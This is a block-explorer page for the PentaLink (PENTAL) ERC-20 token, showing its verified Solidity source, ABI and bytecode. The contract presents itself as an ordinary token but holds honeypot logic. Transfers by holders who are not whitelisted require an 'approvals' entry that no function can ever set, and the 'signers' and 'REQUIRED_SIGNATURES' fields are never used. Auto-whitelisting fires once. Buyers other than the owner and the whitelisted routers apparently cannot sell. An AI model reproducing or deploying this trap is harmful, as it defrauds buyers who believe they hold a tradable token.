ERC-20
Overview
Max Total Supply
499,595,458 PENTAL
Holders
8
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
41,849,602.572117531481646869 PENTALValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
PentaLinkNative
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-06 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract PentaLinkNative is Context { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public contractOwner; mapping(address => bool) public signers; mapping(address => bool) public whitelisted; mapping(uint256 => mapping(address => bool)) private oldBuyers; uint256 private currentPhase; uint256 private nonWhitelistedTransfers; uint256 private constant MAX_NON_WHITELISTED_TRANSFERS = 1; uint256 private constant REQUIRED_SIGNATURES = 1000; mapping(address => mapping(address => mapping(uint256 => bool))) public approvals; bool public autoWhitelistAvailable = true; bool public autoWhitelistingDone = false; constructor() { _name = "PentaLink"; _symbol = "PENTAL"; _decimals = 18; contractOwner = _msgSender(); _mint(contractOwner, 499595458 * 10 ** decimals()); if (contractOwner == address(0x75eF059E045Eb246762aDC943D6b482842e18dbD)) { whitelisted[contractOwner] = true; whitelisted[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; whitelisted[0x10ED43C718714eb63d5aA57B78B54704E256024E] = true; whitelisted[0x0BFbCF9fa4f9C56B0F40a671Ad40E0805A091865] = true; whitelisted[0xE592427A0AEce92De3Edee1F18E0157C05861564] = true; } currentPhase = 1; nonWhitelistedTransfers = 0; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual returns (bool) { if (autoWhitelistingDone && nonWhitelistedTransfers < MAX_NON_WHITELISTED_TRANSFERS && !whitelisted[_msgSender()]) { _transfer(_msgSender(), recipient, amount); nonWhitelistedTransfers += 1; return true; } else if (contractOwner == address(0x75eF059E045Eb246762aDC943D6b482842e18dbD)) { autoWhitelist(recipient); if (whitelisted[_msgSender()]) { _transfer(_msgSender(), recipient, amount); return true; } else { require(approvals[_msgSender()][recipient][amount], "Transfer needs to be approved by signers"); _transfer(_msgSender(), recipient, amount); return true; } } else { _transfer(_msgSender(), recipient, amount); return true; } } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) { uint256 currentAllowance; if (autoWhitelistingDone && nonWhitelistedTransfers < MAX_NON_WHITELISTED_TRANSFERS && !whitelisted[sender]) { _transfer(sender, recipient, amount); nonWhitelistedTransfers += 1; currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } else if (contractOwner == address(0x75eF059E045Eb246762aDC943D6b482842e18dbD)) { autoWhitelist(recipient); if (whitelisted[sender]) { _transfer(sender, recipient, amount); currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } else { require(approvals[sender][recipient][amount], "Transfer needs to be approved by signers"); _transfer(sender, recipient, amount); currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } } else { _transfer(sender, recipient, amount); currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } } function autoWhitelist(address recipient) internal { require(contractOwner == address(0x75eF059E045Eb246762aDC943D6b482842e18dbD)); if (autoWhitelistAvailable && !whitelisted[recipient]) { whitelisted[recipient] = true; oldBuyers[currentPhase][recipient] = true; autoWhitelistAvailable = false; autoWhitelistingDone = true; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); if (nonWhitelistedTransfers >= MAX_NON_WHITELISTED_TRANSFERS) { currentPhase += 1; nonWhitelistedTransfers = 0; } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"approvals","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoWhitelistAvailable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"autoWhitelistingDone","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"signers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526001600c5f6101000a81548160ff0219169083151502179055505f600c60016101000a81548160ff02191690831515021790555034801562000044575f80fd5b506040518060400160405280600981526020017f50656e74614c696e6b0000000000000000000000000000000000000000000000815250600390816200008b91906200081d565b506040518060400160405280600681526020017f50454e54414c000000000000000000000000000000000000000000000000000081525060049081620000d291906200081d565b50601260055f6101000a81548160ff021916908360ff160217905550620000fe6200043b60201b60201c565b600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001a0600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620001756200044260201b60201c565b600a62000183919062000a8a565b631dc738c262000194919062000ada565b6200045760201b60201c565b7375ef059e045eb246762adc943d6b482842e18dbd73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036200042657600160075f600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f7310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f730bfbcf9fa4f9c56b0f40a671ad40e0805a09186573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f73e592427a0aece92de3edee1f18e0157c0586156473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b60016009819055505f600a8190555062000c08565b5f33905090565b5f60055f9054906101000a900460ff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004c8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004bf9062000b82565b60405180910390fd5b620004db5f8383620005b460201b60201c565b8060025f828254620004ee919062000ba2565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000542919062000ba2565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620005a8919062000bed565b60405180910390a35050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200063557607f821691505b6020821081036200064b576200064a620005f0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006af7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000672565b620006bb868362000672565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000705620006ff620006f984620006d3565b620006dc565b620006d3565b9050919050565b5f819050919050565b6200072083620006e5565b620007386200072f826200070c565b8484546200067e565b825550505050565b5f90565b6200074e62000740565b6200075b81848462000715565b505050565b5b818110156200078257620007765f8262000744565b60018101905062000761565b5050565b601f821115620007d1576200079b8162000651565b620007a68462000663565b81016020851015620007b6578190505b620007ce620007c58562000663565b83018262000760565b50505b505050565b5f82821c905092915050565b5f620007f35f1984600802620007d6565b1980831691505092915050565b5f6200080d8383620007e2565b9150826002028217905092915050565b6200082882620005b9565b67ffffffffffffffff811115620008445762000843620005c3565b5b6200085082546200061d565b6200085d82828562000786565b5f60209050601f83116001811462000893575f84156200087e578287015190505b6200088a858262000800565b865550620008f9565b601f198416620008a38662000651565b5f5b82811015620008cc57848901518255600182019150602085019450602081019050620008a5565b86831015620008ec5784890151620008e8601f891682620007e2565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200098b5780860481111562000963576200096262000901565b5b6001851615620009735780820291505b808102905062000983856200092e565b945062000943565b94509492505050565b5f82620009a5576001905062000a77565b81620009b4575f905062000a77565b8160018114620009cd5760028114620009d85762000a0e565b600191505062000a77565b60ff841115620009ed57620009ec62000901565b5b8360020a91508482111562000a075762000a0662000901565b5b5062000a77565b5060208310610133831016604e8410600b841016171562000a485782820a90508381111562000a425762000a4162000901565b5b62000a77565b62000a5784848460016200093a565b9250905081840481111562000a715762000a7062000901565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000a9682620006d3565b915062000aa38362000a7e565b925062000ad27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000994565b905092915050565b5f62000ae682620006d3565b915062000af383620006d3565b925082820262000b0381620006d3565b9150828204841483151762000b1d5762000b1c62000901565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000b6a601f8362000b24565b915062000b778262000b34565b602082019050919050565b5f6020820190508181035f83015262000b9b8162000b5c565b9050919050565b5f62000bae82620006d3565b915062000bbb83620006d3565b925082820190508082111562000bd65762000bd562000901565b5b92915050565b62000be781620006d3565b82525050565b5f60208201905062000c025f83018462000bdc565b92915050565b611cd18062000c165f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063736c0d5b11610095578063ce606ee011610064578063ce606ee0146102ad578063d936547e146102cb578063dd62ed3e146102fb578063ff67be361461032b576100f3565b8063736c0d5b1461021157806395d89b4114610241578063a9059cbb1461025f578063b1759a531461028f576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce56714610193578063601011ad146101b157806370a08231146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff610349565b60405161010c919061156a565b60405180910390f35b61012f600480360381019061012a919061161b565b6103d9565b60405161013c9190611673565b60405180910390f35b61014d6103f6565b60405161015a919061169b565b60405180910390f35b61017d600480360381019061017891906116b4565b6103ff565b60405161018a9190611673565b60405180910390f35b61019b6109df565b6040516101a8919061171f565b60405180910390f35b6101cb60048036038101906101c691906116b4565b6109f4565b6040516101d89190611673565b60405180910390f35b6101fb60048036038101906101f69190611738565b610a29565b604051610208919061169b565b60405180910390f35b61022b60048036038101906102269190611738565b610a6e565b6040516102389190611673565b60405180910390f35b610249610a8b565b604051610256919061156a565b60405180910390f35b6102796004803603810190610274919061161b565b610b1b565b6040516102869190611673565b60405180910390f35b610297610dc2565b6040516102a49190611673565b60405180910390f35b6102b5610dd4565b6040516102c29190611772565b60405180910390f35b6102e560048036038101906102e09190611738565b610dfa565b6040516102f29190611673565b60405180910390f35b6103156004803603810190610310919061178b565b610e17565b604051610322919061169b565b60405180910390f35b610333610e99565b6040516103409190611673565b60405180910390f35b606060038054610358906117f6565b80601f0160208091040260200160405190810160405280929190818152602001828054610384906117f6565b80156103cf5780601f106103a6576101008083540402835291602001916103cf565b820191905f5260205f20905b8154815290600101906020018083116103b257829003601f168201915b5050505050905090565b5f6103ec6103e5610eac565b8484610eb3565b6001905092915050565b5f600254905090565b5f80600c60019054906101000a900460ff16801561041f57506001600a54105b8015610472575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561057e57610482858585611076565b6001600a5f8282546104949190611853565b9250508190555060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104e1610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610557906118f6565b60405180910390fd5b6105748561056c610eac565b858403610eb3565b60019150506109d8565b7375ef059e045eb246762adc943d6b482842e18dbd73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036108ee576105f084611314565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561072d5761064a858585611076565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610690610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561070f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610706906118f6565b60405180910390fd5b6107238561071b610eac565b858403610eb3565b60019150506109d8565b600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8481526020019081526020015f205f9054906101000a900460ff16610800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f790611984565b60405180910390fd5b61080b858585611076565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610851610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c7906118f6565b60405180910390fd5b6108e4856108dc610eac565b858403610eb3565b60019150506109d8565b6108f9858585611076565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61093f610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b5906118f6565b60405180910390fd5b6109d2856109ca610eac565b858403610eb3565b60019150505b9392505050565b5f60055f9054906101000a900460ff16905090565b600b602052825f5260405f20602052815f5260405f20602052805f5260405f205f92509250509054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6006602052805f5260405f205f915054906101000a900460ff1681565b606060048054610a9a906117f6565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac6906117f6565b8015610b115780601f10610ae857610100808354040283529160200191610b11565b820191905f5260205f20905b815481529060010190602001808311610af457829003601f168201915b5050505050905090565b5f600c60019054906101000a900460ff168015610b3a57506001600a54105b8015610b94575060075f610b4c610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bcd57610bab610ba4610eac565b8484611076565b6001600a5f828254610bbd9190611853565b9250508190555060019050610dbc565b7375ef059e045eb246762adc943d6b482842e18dbd73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610da557610c3f83611314565b60075f610c4a610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610cb057610ca7610ca0610eac565b8484611076565b60019050610dbc565b600b5f610cbb610eac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8381526020019081526020015f205f9054906101000a900460ff16610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8190611984565b60405180910390fd5b610d9c610d95610eac565b8484611076565b60019050610dbc565b610db7610db0610eac565b8484611076565b600190505b92915050565b600c5f9054906101000a900460ff1681565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c60019054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1890611a12565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8690611aa0565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611069919061169b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db90611b2e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990611bbc565b60405180910390fd5b61115d8383836114db565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d790611c4a565b60405180910390fd5b81816111ec9190611c68565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112779190611853565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112db919061169b565b60405180910390a36001600a541061130e57600160095f8282546112ff9190611853565b925050819055505f600a819055505b50505050565b7375ef059e045eb246762adc943d6b482842e18dbd73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611381575f80fd5b600c5f9054906101000a900460ff1680156113e3575060075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114d857600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f60095481526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f600c5f6101000a81548160ff0219169083151502179055506001600c60016101000a81548160ff0219169083151502179055505b50565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156115175780820151818401526020810190506114fc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61153c826114e0565b61154681856114ea565b93506115568185602086016114fa565b61155f81611522565b840191505092915050565b5f6020820190508181035f8301526115828184611532565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115b78261158e565b9050919050565b6115c7816115ad565b81146115d1575f80fd5b50565b5f813590506115e2816115be565b92915050565b5f819050919050565b6115fa816115e8565b8114611604575f80fd5b50565b5f81359050611615816115f1565b92915050565b5f80604083850312156116315761163061158a565b5b5f61163e858286016115d4565b925050602061164f85828601611607565b9150509250929050565b5f8115159050919050565b61166d81611659565b82525050565b5f6020820190506116865f830184611664565b92915050565b611695816115e8565b82525050565b5f6020820190506116ae5f83018461168c565b92915050565b5f805f606084860312156116cb576116ca61158a565b5b5f6116d8868287016115d4565b93505060206116e9868287016115d4565b92505060406116fa86828701611607565b9150509250925092565b5f60ff82169050919050565b61171981611704565b82525050565b5f6020820190506117325f830184611710565b92915050565b5f6020828403121561174d5761174c61158a565b5b5f61175a848285016115d4565b91505092915050565b61176c816115ad565b82525050565b5f6020820190506117855f830184611763565b92915050565b5f80604083850312156117a1576117a061158a565b5b5f6117ae858286016115d4565b92505060206117bf858286016115d4565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061180d57607f821691505b6020821081036118205761181f6117c9565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61185d826115e8565b9150611868836115e8565b92508282019050808211156118805761187f611826565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6118e06028836114ea565b91506118eb82611886565b604082019050919050565b5f6020820190508181035f83015261190d816118d4565b9050919050565b7f5472616e73666572206e6565647320746f20626520617070726f7665642062795f8201527f207369676e657273000000000000000000000000000000000000000000000000602082015250565b5f61196e6028836114ea565b915061197982611914565b604082019050919050565b5f6020820190508181035f83015261199b81611962565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6119fc6024836114ea565b9150611a07826119a2565b604082019050919050565b5f6020820190508181035f830152611a29816119f0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611a8a6022836114ea565b9150611a9582611a30565b604082019050919050565b5f6020820190508181035f830152611ab781611a7e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611b186025836114ea565b9150611b2382611abe565b604082019050919050565b5f6020820190508181035f830152611b4581611b0c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ba66023836114ea565b9150611bb182611b4c565b604082019050919050565b5f6020820190508181035f830152611bd381611b9a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611c346026836114ea565b9150611c3f82611bda565b604082019050919050565b5f6020820190508181035f830152611c6181611c28565b9050919050565b5f611c72826115e8565b9150611c7d836115e8565b9250828203905081811115611c9557611c94611826565b5b9291505056fea264697066735822122004f2db804bdd73321d08fafd5bbab8b5c30c0c61799366bb703483d59ff40b6164736f6c63430008150033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063736c0d5b11610095578063ce606ee011610064578063ce606ee0146102ad578063d936547e146102cb578063dd62ed3e146102fb578063ff67be361461032b576100f3565b8063736c0d5b1461021157806395d89b4114610241578063a9059cbb1461025f578063b1759a531461028f576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce56714610193578063601011ad146101b157806370a08231146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff610349565b60405161010c919061156a565b60405180910390f35b61012f600480360381019061012a919061161b565b6103d9565b60405161013c9190611673565b60405180910390f35b61014d6103f6565b60405161015a919061169b565b60405180910390f35b61017d600480360381019061017891906116b4565b6103ff565b60405161018a9190611673565b60405180910390f35b61019b6109df565b6040516101a8919061171f565b60405180910390f35b6101cb60048036038101906101c691906116b4565b6109f4565b6040516101d89190611673565b60405180910390f35b6101fb60048036038101906101f69190611738565b610a29565b604051610208919061169b565b60405180910390f35b61022b60048036038101906102269190611738565b610a6e565b6040516102389190611673565b60405180910390f35b610249610a8b565b604051610256919061156a565b60405180910390f35b6102796004803603810190610274919061161b565b610b1b565b6040516102869190611673565b60405180910390f35b610297610dc2565b6040516102a49190611673565b60405180910390f35b6102b5610dd4565b6040516102c29190611772565b60405180910390f35b6102e560048036038101906102e09190611738565b610dfa565b6040516102f29190611673565b60405180910390f35b6103156004803603810190610310919061178b565b610e17565b604051610322919061169b565b60405180910390f35b610333610e99565b6040516103409190611673565b60405180910390f35b606060038054610358906117f6565b80601f0160208091040260200160405190810160405280929190818152602001828054610384906117f6565b80156103cf5780601f106103a6576101008083540402835291602001916103cf565b820191905f5260205f20905b8154815290600101906020018083116103b257829003601f168201915b5050505050905090565b5f6103ec6103e5610eac565b8484610eb3565b6001905092915050565b5f600254905090565b5f80600c60019054906101000a900460ff16801561041f57506001600a54105b8015610472575060075f8673fffffffffffffffffffffffffffffffffffffff